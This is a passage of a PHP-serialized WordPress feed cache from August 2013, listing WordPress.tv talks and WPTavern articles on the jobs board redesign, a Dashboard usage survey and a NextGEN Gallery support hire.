Blogs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21534\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:89:\"http://wordpress.tv/2013/08/23/christina-elmore-from-url-to-isbn-making-books-from-blogs/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:745:\"<div id=\"v-b3mX5BqG-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21534/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21534/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21534&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/23/christina-elmore-from-url-to-isbn-making-books-from-blogs/\"><img alt=\"Christina Elmore: From URL To ISBN: Making Books From Blogs\" src=\"http://videos.videopress.com/b3mX5BqG/01-christina-elmore-from-url-to-isbn-making-books-from-blogs_scruberthumbnail_0.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 23 Aug 2013 19:43:49 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:15;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"WPTavern: Details Behind The WordPress Jobs Board Redesign\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8606\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:110:\"http://feedproxy.google.com/~r/WordpressTavern/~3/bfFRfLUm4VM/details-behind-the-wordpress-jobs-board-redesign\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:7472:\"<p>The official <a href=\"http://jobs.wordpress.net/\" title=\"http://jobs.wordpress.net/\">WordPress Job board</a> was <a href=\"http://make.wordpress.org/meta/2013/07/17/seeking-2-moderators-for-jobs-wordpress-net/\" title=\"http://make.wordpress.org/meta/2013/07/17/seeking-2-moderators-for-jobs-wordpress-net/\">recently relaunched</a> with a brand new design. Considering the <a href=\"http://weblogtoolscollection.com/archives/2007/07/27/wordpress-jobs/\" title=\"http://weblogtoolscollection.com/archives/2007/07/27/wordpress-jobs/\">site has existed since 2007</a> and has not seen very much in the way of upgrades since then, I thought it would be interesting to hear from Scott Reilly and Mel Choyce if there were any difficulties upgrading the site. Mel was involved in the discussions and design portions of the project while Scott did much of the implementation. <span id=\"more-8606\"></span></p>\n<p><strong>What were some of the challenges upgrading from the previous design?</strong></p>\n<p><strong>Mel Choyce</strong> &#8211; I think one of the biggest challenges we faced was trying to bring the site up to standards with the evolving WordPress.org branding. The old site just didn&#8217;t feel like it was officially sanctioned, which I think caused some trust issues. When I looked at it, I didn&#8217;t really see WordPress. I really approached the design with the concept of, how can we make this feel more like WordPress? How can we make this look more official?</p>\n<p>Another part we struggled with was updating the categories. The old categories were a little vague and generic, so we tried to tighten those up to make it easier for job posters to appropriately categorize their jobs. </p>\n<div id=\"attachment_8607\" class=\"wp-caption aligncenter\"><a href=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPJobsBoardVersion1.jpg\" rel=\"thumbnail\"><img src=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPJobsBoardVersion1.jpg?resize=500%2C236\" alt=\"WordPress Jobs Board Old Design\" class=\"size-large wp-image-8607\" /></a><p class=\"wp-caption-text\">The Old Jobs Board Design</p></div>\n<div id=\"attachment_8608\" class=\"wp-caption aligncenter\"><a href=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPJobsBoardVersion2.jpg\" rel=\"thumbnail\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/WPJobsBoardVersion2.jpg?resize=500%2C287\" alt=\"WordPress Jobs Board New Design\" class=\"size-large wp-image-8608\" /></a><p class=\"wp-caption-text\">New Jobs Board Design</p></div>\n<p><strong>Scott Reilly</strong> &#8211; From the technical side of things, for the most part we reimplemented the entire site, keeping mostly just the data. Even then, we migrated and massaged some of the data in the process. But all in all, the technical implementation was fairly straightforward. The biggest challenges were mostly in coming up with a design (Mel) and then forming a team around the project. Heretofore, Mark Ghosh had been pretty much running the site singlehandedly, which was a monumental effort. This included the custom code to run the site as well as the daily moderation of job postings. So we put out the call for volunteer moderators and began to formalize the guidelines.</p>\n<p><strong>One of the biggest differences between the two designs is the addition of a sidebar of icons that symbolize different position types. By the way, those icons look familiar. Was this approach considered the best way to easily dig into all of the jobs openings available or is this just one method you&#8217;re trying?</strong></p>\n<p><strong>Mel Choyce</strong> &#8211; I&#8217;m not totally sure what you&#8217;re asking? We chose a vertical navigation bar to make it easier to scan for categories. The previous design had a horizontal navigation bar, and there were so many categories that it was just kind of hard to quickly look through it. </p>\n<p>We ended up borrowing heavily from the MP6 aesthetic, so the inclusion of icons not only helped reinforce the brand, but also subtly reinforced the meaning of each category. I had made some icons, but they lacked finesse and polish, so I asked Ben Dunkle (lead icon designer for WordPress.org) to play around with some different ideas for each category. I think they ended up pretty slick.</p>\n<div id=\"attachment_8610\" class=\"wp-caption aligncenter\"><a href=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/DashIcons.jpg\" rel=\"thumbnail\"><img src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/DashIcons.jpg?resize=462%2C268\" alt=\"Dashicons\" class=\"size-full wp-image-8610\" /></a><p class=\"wp-caption-text\">Dashicons &#8211; Which One Is The Hamburger Menu Icon?</p></div>\n<p><strong>Scott Reilly</strong> &#8211; The icons are Dashicons: <a href=\"http://melchoyce.github.io/dashicons/\" title=\"http://melchoyce.github.io/dashicons/\">http://melchoyce.github.io/dashicons/</a>, some of which were tweaked or custom-made for the site. While I wasn&#8217;t involved in the primary design itself, the sidebar of job types is a better presentation than the block of links that appeared at the top of the page. As Mel said, the use of the icons help reinforce the job types and branding, and it gives the site some graphical pizzazz.</p>\n<p><strong>Was the site ever powered by bbPress, or is it entirely driven by WordPress?</strong></p>\n<p><strong>Scott Reilly</strong> &#8211; I can only speak definitively to the previous and current incarnations of the site, but there isn&#8217;t any current use of bbPress nor have I seen any indication that bbPress ever powered any part of the site. The site is currently solely powered by WordPress.</p>\n<p><strong>What other enhancements do you have in store for the site in the near future?</strong></p>\n<p><strong>Mel Choyce</strong></p>\n<p>The mantra for stage one of the redesign was get something done and ship it. Now that we&#8217;ve pushed version one out the door, we&#8217;ve started discussing and working on future enhancements. One of the first things we&#8217;re doing is working on applying better responsive styles. We&#8217;ve also talked about throwing new jobs into a single table on the homepage, instead of listing per category, but we haven&#8217;t really decided on anything yet. It&#8217;s an ongoing WIP.</p>\n<p><strong>Scott Reilly</strong> &#8211; Our primary goal and focus has been to get the new design launched. We managed just about everything we wanted to include and then some, having kept our goals modest. We still need to make a few tweaks to get it fully mobile-friendly. We&#8217;ll be releasing the theme soon via the meta.svn repository (also viewable at: <a href=\"http://meta.trac.wordpress.org/browser/\" title=\"http://meta.trac.wordpress.org/browser/\">http://meta.trac.wordpress.org/browser/</a>) as part of our efforts to open source the code of dotorg. We&#8217;re actually open to community requests via trac tickets at <a href=\"http://meta.trac.wordpress.org/report/1\" title=\"http://meta.trac.wordpress.org/report/1\">http://meta.trac.wordpress.org/report/1</a> (there&#8217;s a jobs.wordpress.net component) and eventually community patches.</p>\n<h2>What Does Mark Think?</h2>\n<p>After the announcement was published of the redesign, I sent an email to Mark Ghosh to get his thoughts. He approved of the new look and considered it a worthy upgrade. </p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/bfFRfLUm4VM\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 22 Aug 2013 22:57:41 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:16;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:85:\"WordPress.tv: Grant Landram: Creating a Better WordPress Admin Experience for Clients\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21521\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:102:\"http://wordpress.tv/2013/08/22/grant-landram-creating-a-better-wordpress-admin-experience-for-clients/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:777:\"<div id=\"v-FyUM9x2l-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21521/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21521/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21521&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/22/grant-landram-creating-a-better-wordpress-admin-experience-for-clients/\"><img alt=\"Grant Landram: Creating a Better WordPress Admin Experience for Clients\" src=\"http://videos.videopress.com/FyUM9x2l/01-grant-landram-creating-a-better-wordpress-admin-experience-for-clients_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 22 Aug 2013 18:50:08 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:17;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:97:\"WordPress.tv: Matthew Eppelsheimer: Checklists: A Path To Mistake-Free Development And Publishing\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wordpress.tv/?p=21509\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:113:\"http://wordpress.tv/2013/08/22/matthew-eppelsheimer-checklists-a-path-to-mistake-free-development-and-publishing/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:810:\"<div id=\"v-shw9WAXO-1\" class=\"video-player\">\n</div>\n<br />  <a rel=\"nofollow\" href=\"http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/21509/\"><img alt=\"\" border=\"0\" src=\"http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/21509/\" /></a> <img alt=\"\" border=\"0\" src=\"http://stats.wordpress.com/b.gif?host=wordpress.tv&blog=5089392&post=21509&subd=wptv&ref=&feed=1\" width=\"1\" height=\"1\" /><div><a href=\"http://wordpress.tv/2013/08/22/matthew-eppelsheimer-checklists-a-path-to-mistake-free-development-and-publishing/\"><img alt=\"Matthew Eppelsheimer: Checklists: A Path To Mistake-Free Development And Publishing\" src=\"http://videos.videopress.com/shw9WAXO/2-matthew-eppelsheimer-checklists-a-path-to-mistake-free-development-and-publishing_std.original.jpg\" width=\"160\" height=\"120\" /></a></div>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 22 Aug 2013 18:39:40 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"WordPress.tv\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:18;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"WPTavern: Dashboard Usage Survey Results Now Available\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8591\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:106:\"http://feedproxy.google.com/~r/WordpressTavern/~3/zu6Ufr1o9yQ/dashboard-usage-survey-results-now-available\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:6768:\"<p>Dave Martin also known as Lessbloat has <a title=\"http://make.wordpress.org/ui/2013/08/21/3-8-dashboard-plugin/\" href=\"http://make.wordpress.org/ui/2013/08/21/3-8-dashboard-plugin/\">published the results</a> from the Dashboard survey. There were 438 responses which is a good sample to start from but Dave mentions that the survey has biased results as most of the people who participated were developers. Knowing that the majority of responses were from the developer community, the results don&#8217;t surprise me one bit.</p>\n<p>Out of 416 answers, when asked <em>Which sections of the Dashboard do you never use (and think should go away?)</em> Other WordPress News took first place with 79% of the vote with QuickPress a very close second at 78% they were within 3 votes of each other. WordPress Blog, Plugins, and Incoming Links were generally close to taking the third spot. I would have thought that the Welcome Screen would have the least amount of votes to be removed but the Recent Comments widget claimed that position. <span id=\"more-8591\"></span></p>\n<p><a href=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/DashboardSurveyQuestion2Results.jpg\" rel=\"thumbnail\"><img class=\"aligncenter size-large wp-image-8592\" alt=\"Question 2 Results For Dashboard Survey\" src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/DashboardSurveyQuestion2Results.jpg?resize=500%2C217\" /></a></p>\n<p><strong>Question 3</strong> asked, <em>How often do you post with QuickPress</em>? it&#8217;s almost comical to see the response of <strong>Never</strong> take 92% of the vote.</p>\n<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/DashboardSurveyQuestion3Results.jpg\" rel=\"thumbnail\"><img class=\"aligncenter size-large wp-image-8593\" alt=\"Question 3 Results\" src=\"http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/08/DashboardSurveyQuestion3Results.jpg?resize=500%2C120\" /></a></p>\n<p><strong>Question 4</strong> asked <em>What sort of modifications do you typically make to the Dashboard (for yourself or for clients), and why?</em> There is no illustration since the results are text-based but the CSV containing the responses is <a title=\"http://cl.ly/3f2y1e0T1o09\" href=\"http://cl.ly/3f2y1e0T1o09\">publicly available</a>. I browsed through the document and was not surprised at the amount of people who remove most of the Dashboard widgets or completely redesign the Dashboard to fit their project.</p>\n<p><strong>Question 5</strong> asked <em>If you could wave a magic wand, what types of things would you show on the Dashboard?</em> These answers are also <a title=\"http://cl.ly/1H1b391L3N3Y\" href=\"http://cl.ly/1H1b391L3N3Y\">publicly available</a> as a CSV file and I thought were interesting. The majority of answers revolve around the idea of creating a Quicklinks Dashboard widget that would enable a quick way to accomplish common tasks. For example: <em>A widget called &#8220;I would like to&#8230;&#8221; with a list of common tasks (add new post/page/media/theme/plugin, moderate comments, etc.) that would take the user straight to that section of wp-admin;&#8221;</em> While you can&#8217;t access all tasks within the Dashboard, the Admin Bar already facilitates a quick way to create a new Post, Media, Page, User, Role, and if you have GravityForms installed, Forms. I wonder if the Admin bar is not being seen, is not being used, or simply isn&#8217;t the answer.</p>\n<p>Stats were another popular suggestion for the Dashboard whether it was the stats that come with Jetpack or Google Analytics, a lot of people just want to see stats right on the Dashboard.</p>\n<h2>My Thoughts:</h2>\n<p>Taking into consideration that many of the survey respondents are developers and consultants, many of their answers correlate with what they commonly experience with clients. The issue I take with those responses is that I&#8217;m not a client. Reading over the survey responses, I get the feeling that people need a ton of hand holding to get anything done or to navigate anywhere within the WordPress back-end. Maybe that&#8217;s the case but not for me. Some people even suggested to just get rid of the entire Dashboard concept and just forward people to the post creation screen or the settings screen depending on the user role.</p>\n<p>Personally, I think the Dashboard concept needs to be completely rethought. Not only thinking about how the current implementation can be improved, but also what is the Dashboard really supposed to accomplish? Let&#8217;s also dedicate some time and discussion in creating an all new Dashboard concept just to see where it goes.</p>\n<p>The more I think about it, the more I&#8217;d like to see the Dashboard function just like the Dashboard in my car. Give me warnings or caution signs of things that don&#8217;t seem right such as a page or link that is causing 404 errors for people, the average page load on the site increasing to an unacceptable level, etc. The Right Now box in the current implementation is the most important meta box for me. I feel that if information such as what I see in the Unpublished Content meta box from Edit Flow and the Site Stats was combined into the Right Now box, it would be much more useful and cut down the number of metaboxes on the screen. I&#8217;d like to be able to use the Right Now box to view trends on the site as well as be able to act on those trends. In fact, let&#8217;s get rid of the Right Now box and just call the whole thing Dashboard. One metabox filled with all kinds of information. Not sure how well tabs would work here because one box would quickly get cluttered with <strong>TOO MUCH</strong> information. As a site administrator, I want to see all of the information I can. This wouldn&#8217;t work for other user roles. I&#8217;d like to see user roles with fewer capabilities get a slimmed down version of what&#8217;s presented on the Dashboard. I think this already occurs to an extent where certain links are inaccessible based on capabilities.</p>\n<h2>Time To Get Involved:</h2>\n<p>The Dashboard revamp will take place as a plugin similar to how MP6 was developed. If you are interested in working on this plugin, you&#8217;re encouraged to leave a comment on the <a title=\"http://make.wordpress.org/ui/2013/08/21/3-8-dashboard-plugin/\" href=\"http://make.wordpress.org/ui/2013/08/21/3-8-dashboard-plugin/\">announcement post</a>. I love the fact that there is a discussion taking place about a major facet of WordPress and furthermore, that development will take place in a plugin rather than in core itself. I&#8217;m really digging these changes in the development approach of WordPress.</p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/zu6Ufr1o9yQ\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 22 Aug 2013 11:00:26 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:19;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:52:\"WPTavern: Photocrati Hires A Lead Happiness Engineer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8573\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:104:\"http://feedproxy.google.com/~r/WordpressTavern/~3/wSWHHF_bTiI/photocrati-hires-a-lead-happiness-engineer\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3881:\"<p><a href=\"http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/08/PhotocratiLogo.jpg\" rel=\"thumbnail\"><img src=\"http://i1.wp.com/www.wptavern.com/wp-content/uploads/2013/08/PhotocratiLogo.jpg?resize=164%2C39\" alt=\"Photocrati Logo\" class=\"alignright size-full wp-image-8588\" /></a>Photocrati, the company behind NextGen Gallery has hired on a lead happiness engineer. Edward Caissie who is better known throughout the WordPress community as <a href=\"http://profiles.wordpress.org/cais\" title=\"http://profiles.wordpress.org/cais\">JellyBeen</a> was the person hired into the position. The hiring couldn&#8217;t have come at a better time considering how many people have <strong>NOT</strong> been happy with the latest version of the plugin which lead to the company <a href=\"http://www.wptavern.com/nextgen-gallery-creator-publishes-open-letter\" title=\"http://www.wptavern.com/nextgen-gallery-creator-publishes-open-letter\">publishing an open letter</a> to the community. I reached out to Edward to find out why he applied for the job and what his responsibilities will be. <span id=\"more-8573\"></span></p>\n<p><strong>Why did I decide to take on a job with Photocrati?</strong></p>\n<p>Well, to be honest, I had been looking for a position with a WordPress-related company for some time and kept my eyes open for promising opportunities. The position as the Lead Happiness Engineer &#8211; NextGEN Gallery pretty much was made for me. I have over 20 years of Customer Service, 10+ years in web development, and I&#8217;ve spent the last five years or so honing my WordPress skills to a point where I was able to not only write themes and plugins but also help others to do the same. The job description just seem to hit all the points I was looking for as well.</p>\n<p>I get to work online, which basically means I get to work from home, or the cottage, or a coffee shop &#8230; anywhere there is decent Internet. There is also opportunity to grow with Photocrati.</p>\n<p><strong>In the midst of all the hoopla surrounding the latest release of NextGen Gallery, what will you be doing to calm down all of the upset people who have broken sites due to the update?</strong></p>\n<p>The thing is, we started talking back in February; long before any of the recent issues with NextGEN 2.0.x came to light. So I am on board with Photocrati to primarily help with Support. Mostly for paying customers but also for support (to a certain extent) of the free version of the NextGEN Gallery plugin as well. The opportunity to work with the developers is always there and as Photocrati grows more opportunities may become available as well.</p>\n<p>Most of my primary goals and fairly much most of my first days/weeks will be supporting customers and helping to get NextGEN to a much more stable release. I&#8217;ll be doing whatever I can to help out the customers, but to be quite honest NextGEN Gallery is a very large and quite complex plugin and when I am not helping customers I am delving into the code to learn its workings as well as offer any assistance and/or enhancements/improvements I find.</p>\n<p><strong>Is the position equal to that of the Automattic happiness engineer where your primary goal is to make customers happy?</strong></p>\n<p>Essentially, the &#8220;Happiness Engineer&#8221; part of the title is derived from Automattic&#8217;s ideals but being a much smaller organization the role definition is probably a bit more encompassing than what Automattic&#8217;s might be.</p>\n<p><strong>Edward has been a long-standing member of not only the WordPress community but of the WPTavern community as well. I congratulate him on getting a job he is happy with. If the lead happiness engineer is not happy, how would he be able to spread happiness to customers?</strong></p>\n<img src=\"http://feeds.feedburner.com/~r/WordpressTavern/~4/wSWHHF_bTiI\" height=\"1\" width=\"1\" />\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Wed, 21 Aug 2013 21:44:08 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"Jeffro\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:20;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:104:\"WPTavern: The Daily Plugin – System Snapshots, Folder Slider, Harmonia, Content Blocks, String Locator\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"http://www.wptavern.com/?p=8511\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:148:\"http://feedproxy.google.com/~r/WordpressTavern/~3/SAAiZagoHq0/the-daily-plugin-system-snapshots-folder-slider-harmonia-content-blocks-string-locator\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:5996:\"<p>It&#8217;s Wednesday which means it&#8217;s hump day and the week-end is in sight! Today, 